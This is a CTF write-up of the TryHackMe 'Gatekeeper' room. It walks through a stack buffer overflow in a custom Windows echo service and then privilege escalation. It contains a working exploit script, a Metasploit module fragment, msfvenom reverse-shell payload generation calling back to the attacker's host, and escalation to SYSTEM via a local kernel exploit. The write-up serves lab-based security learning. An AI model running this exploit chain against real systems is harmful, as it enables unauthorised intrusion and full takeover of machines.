TryHackMe - Gatekeeper

A CTF with buffer overflow and Windows privilege escalation

Here's a writeup of Gatekeeper on TryHackMe

Initial Scan

Perform the usual nmap scan and take note of ports 139, 445, and 31337
nmap -Pn -p- --open $IP    
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-12 22:42 PDT
Stats: 0:00:35 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 38.52% done; ETC: 22:44 (0:00:56 remaining)
Nmap scan report for 10.10.56.66
Host is up (0.15s latency).
Not shown: 63786 closed tcp ports (conn-refused), 1738 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
31337/tcp open  Elite
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49163/tcp open  unknown
49165/tcp open  unknown

nc $IP 31337   
hello
Hello hello!!!
goodbye
Hello goodbye!!!

Definitely an 31337 echo service. What about SMB?

smbclient -L $IP -U guest                                      
Password for [WORKGROUP\guest]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Users           Disk

Ok, let's see what we find in that Users share.

smbclient -I $IP -U guest //$IP/Users                             
Password for [WORKGROUP\guest]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                  DR        0  Thu May 14 18:57:08 2020
  ..                                 DR        0  Thu May 14 18:57:08 2020
  Default                           DHR        0  Tue Jul 14 00:07:31 2009
  desktop.ini                       AHS      174  Mon Jul 13 21:54:24 2009
  Share                               D        0  Thu May 14 18:58:07 2020

                7863807 blocks of size 4096. 3877004 blocks available
smb: \> cd Share
dirsmb: \Share\> dir
  .                                   D        0  Thu May 14 18:58:07 2020
  ..                                  D        0  Thu May 14 18:58:07 2020
  gatekeeper.exe                      A    13312  Sun Apr 19 22:27:17 2020

                7863807 blocks of size 4096. 3877004 blocks available

I'd bet that gatekeeper.exe is what's behind that port 31337.

Buffer Overflow

Download and Analyze

While we can mess with the service through netcat, it's not going to tell us a whole lot. Luckily since we can get a copy of the executable, we can mess with it under a microscope debugger.

First step is just to see if we can crash it. Classic a repeated as many times as it takes to crash the program:

Unhandled exception: page fault on read access to 0x61616161 in 32-bit code (0x61616161).
Register dump:
 CS:0023 SS:002b DS:002b ES:002b FS:006b GS:0063
 EIP:61616161 ESP:00f619a4 EBP:61616161 EFLAGS:00010286(  R- --  I S - -P- )
 EAX:ffffffff EBX:00451998 ECX:00f61904 EDX:00000008
 ESI:00b504d0 EDI:00000000
Stack dump:
0x00f619a4:  61616161 61616161 61616161 61616161
0x00f619b4:  61616161 61616161 61616161 61616161
0x00f619c4:  61616161 61616161 61616161 61616161
0x00f619d4:  61616161 61616161 61616161 61616161
0x00f619e4:  61616161 61616161 61616161 61616161
0x00f619f4:  61616161 61616161 61616161 61616161
Backtrace:
=>0 0x61616161 (0x61616161)
0x61616161: -- no code accessible --

This indicates it's a stack overflow, so let's generate a pattern to help us find where in our input we effect certain values like the eip register:

msf-pattern_create -l 1024

Then feed that output to the program:

Unhandled exception: page fault on read access to 0x39654138 in 32-bit code (0x39654138).
Register dump:
 CS:0023 SS:002b DS:002b ES:002b FS:006b GS:0063
 EIP:39654138 ESP:00f619a4 EBP:65413765 EFLAGS:00010286(  R- --  I S - -P- )
 EAX:ffffffff EBX:00451998 ECX:00f61904 EDX:00000008
 ESI:00b504d0 EDI:00000000
Stack dump:
0x00f619a4:  41306641 66413166 33664132 41346641
0x00f619b4:  66413566 37664136 41386641 67413966
0x00f619c4:  31674130 41326741 67413367 35674134
0x00f619d4:  41366741 67413767 39674138 41306841
0x00f619e4:  68413168 33684132 41346841 68413568
0x00f619f4:  37684136 41386841 69413968 31694130
Backtrace:
=>0 0x39654138 (0x65413765)
0x39654138: -- no code accessible --

Now lookup where in that generated pattern the value in eip (39654138) is found:

msf-pattern_offset -q 39654138
[*] Exact match at offset 146

So we should be able to overwrite the instruction pointer with a value of our choice, and hopefully some room for shellcode. That just leaves the questions of where do we want to jump to and what is our shellcode?

Make the Jump

Since our shellcode is also going to be on the stack (at least that's the plan), we need to jump there. We might not be able tp use a fixed address, so another approach would be to find some known location that will jump there for us. Somewhere in the code that jumps to the stack pointer. Here's how jmp esp assembles:

msf-nasm_shell 32       
nasm > jmp esp
00000000  FFE4              jmp esp

Run the executable on a windows machine, attach with immunity debugger. Look for a jmp esp.

!mona find -s '\xff\xe4'

There are two most promising locations are in pages marked as executable, there may be many others.

0x080414c3 : '\xff\xe4' |  {PAGE_EXECUTE_READ} [gatekeeper.exe] ASLR: False, Rebase: False, SafeSEH: True, CFG: False, OS: False, v-1.0- (C:\Users\chad\Downloads\gatekeeper.exe), 0x8000
0x080416bf : '\xff\xe4' |  {PAGE_EXECUTE_READ} [gatekeeper.exe] ASLR: False, Rebase: False, SafeSEH: True, CFG: False, OS: False, v-1.0- (C:\Users\chad\Downloads\gatekeeper.exe), 0x8000

Create payload

Generate shellcode

We can generate shellcode with msfvenom, specifying options for how to connect back and --bad-chars to avoid. We want to avoid the null terminator, 0x00 and the return character 0x0a so the that the entire payload gets placed in memory contiguously. Null would terminate a string, and 0x0a is \n which triggers the service to response.

➜  ~ msfvenom -p windows/shell_reverse_tcp LHOST=10.2.7.89 LPORT=4444 -f python -v shell_code --encoder x86/shikata_ga_nai --bad-chars "\x00\x0a"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 2070 bytes
shell_code =  b""
shell_code += b"\xbb\x72\x99\x27\x9e\xda\xc7\xd9\x74\x24"
...

So now we have shellcode formatted as python upon which we can base the rest of a script.

Write a script

A simple python script will get the job done. You don't have to use pwntools, but I did here because it was handy. Take the output from msfvenom and add it to the script.

import sys
from pwn import *

#msfvenom -p windows/shell_reverse_tcp LHOST=10.2.7.89 LPORT=4444 -f python -v shell_code --encoder x86/shikata_ga_nai --bad-chars "\x00\x0a"

shell_code =  b""
shell_code += b"<blah blah blah>"
shell_code += b"<rest of shellcode>"

nop = b'\x90'

# jmp esp
# 0x080414c3
# 0x080416bf
pc = b'\xc3\x14\x04\x08'

payload = (b'A' * 146) + pc + (nop * 16) + shell_code + b'\n';

io = remote(sys.argv[1], 31337)
io.send(payload)

Catch Reverse Shell

One easy way to listen for connections is with netcat. Just specify what port to listen on. You can also optionally specify what address, or just listen on 0.0.0.0:

➜  gatekeeper git:(master) ✗ nc -lvp 4444
listening on [any] 4444 ...
10.10.201.74: inverse host lookup failed: Unknown host
connect to [10.2.7.89] from (UNKNOWN) [10.10.201.74] 49192
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\natbat\Desktop>whoami
whoami
gatekeeper\natbat

C:\Users\natbat\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 3ABE-D44B

 Directory of C:\Users\natbat\Desktop

05/14/2020  09:24 PM    <DIR>          .
05/14/2020  09:24 PM    <DIR>          ..
04/21/2020  05:00 PM             1,197 Firefox.lnk
04/20/2020  01:27 AM            13,312 gatekeeper.exe
04/21/2020  09:53 PM               135 gatekeeperstart.bat
05/14/2020  09:43 PM               140 user.txt.txt
               4 File(s)         14,784 bytes
               2 Dir(s)  15,886,864,384 bytes free

C:\Users\natbat\Desktop>type user.txt.txt
type user.txt.txt
{**************}

The buffer overflow in this room is credited to Justin Steven and his 
"dostackbufferoverflowgood" program.  Thank you!

Metasploit

Another popular way to run exploits and additional tools is Metasploit. We can write a simple exploit module and use that.

	 'Payload' =>
		  {
			'BadChars' => "\x00\x0a"
		  },
		  'Targets' =>
		  [
			[
			  'Windows',
			  {
				'Platform' => 'win',
				'Ret' => 0x080414c3
			  }
			]
		  ],
...

  def exploit
    connect

    print_status("Sending #{payload.encoded.length} byte payload...")

    buf = 'A' * 146
    buf << [ target.ret ].pack('V')
    buf << Array.new(16, 0x90).pack('c*')
    buf << payload.encoded
    buf << [ 0x0a ].pack('V')
    
    sock.put(buf)
    
    handler
  end

msf6 exploit(windows/misc/gatekeeper) > exploit

[*] Started reverse TCP handler on 10.2.7.89:4444 
[*] 10.10.168.162:31337 - Sending 323 byte payload...
[*] Sending stage (175686 bytes) to 10.10.168.162
[*] Meterpreter session 3 opened (10.2.7.89:4444 -> 10.10.168.162:49208) at 2023-10-01 14:26:57 -0700

meterpreter > sysinfo
Computer        : GATEKEEPER
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows

One advantage of using Metasploit is the post-exploitation tools it provides. This may come in handy when looking to escalate privileges rather than doing it manually.

Privilege Escalation

Let's gather some info.

OS Name:     Microsoft Windows 7 Professional 
OS Version:  6.1.7601 Service Pack 1 Build 7601
System Type: x64-based PC

msf6 post(windows/gather/win_privs) > run

Current User
============

 Is Admin  Is System  Is In Local Admin Group  UAC Enabled  Foreground ID  UID
 --------  ---------  -----------------------  -----------  -------------  ---
 False     False      False                    False        1              GATEKEEPER\natbat

Windows Privileges
==================

 Name
 ----
 SeChangeNotifyPrivilege
 SeIncreaseWorkingSetPrivilege
 SeShutdownPrivilege
 SeTimeZonePrivilege
 SeUndockPrivilege

[*] Post module execution completed

Metasploit to the Rescue

Since I failed to manually find any privilege escalation approaches, having turned the initial exploit into a Metasploit module is going to come in handy. The approach from here:

Migrate

meterpreter > migrate 1400
[*] Migrating from 1772 to 1400...
[*] Migration completed successfully.
meterpreter > sysinfo
Computer        : GATEKEEPER
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows

Local Exploit Suggester

msf6 post(multi/recon/local_exploit_suggester) > run

[*] 10.10.56.66 - Collecting local exploits for x64/windows...
[*] 10.10.56.66 - 186 exploit checks are being tried...
[+] 10.10.56.66 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.56.66 - exploit/windows/local/cve_2019_1458_wizardopium: The target appears to be vulnerable.
...

Run the exploit

msf6 exploit(windows/local/cve_2019_1458_wizardopium) > set SESSION 2
SESSION => 2
msf6 exploit(windows/local/cve_2019_1458_wizardopium) > set LHOST 10.2.7.89
LHOST => 10.2.7.89
msf6 exploit(windows/local/cve_2019_1458_wizardopium) > set LPORT 4445
LPORT => 4445
msf6 exploit(windows/local/cve_2019_1458_wizardopium) > run

[*] Started reverse TCP handler on 10.2.7.89:4445 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Triggering the exploit...
[*] Launching msiexec to host the DLL...
[+] Process 1876 launched.
[*] Reflectively injecting the DLL into 1876...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (200774 bytes) to 10.10.56.66
[*] Meterpreter session 3 opened (10.2.7.89:4445 -> 10.10.56.66:49205) at 2023-10-12 22:11:12 -0700

meterpreter > shell
Process 2676 created.
Channel 1 created.

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>cd C:\Users\mayor
cd C:\Users\mayor

C:\Users\mayor>cd Desktop
cd Desktop

C:\Users\mayor\Desktop>type root.txt.txt
type root.txt.txt
{*************************}

Conclusion

I mostly don't use Metasploit when doing CTFs, but on this one I was inclined to try it out. We didn't have to write a Metasploit module, and instead just catch the shell created by our script in Metasploit and then use post exploit tools, but it was informative to give the module a try. I still have a long way to go on improving my Windows privilege escalation and having those tools definitely saved my bacon on this one.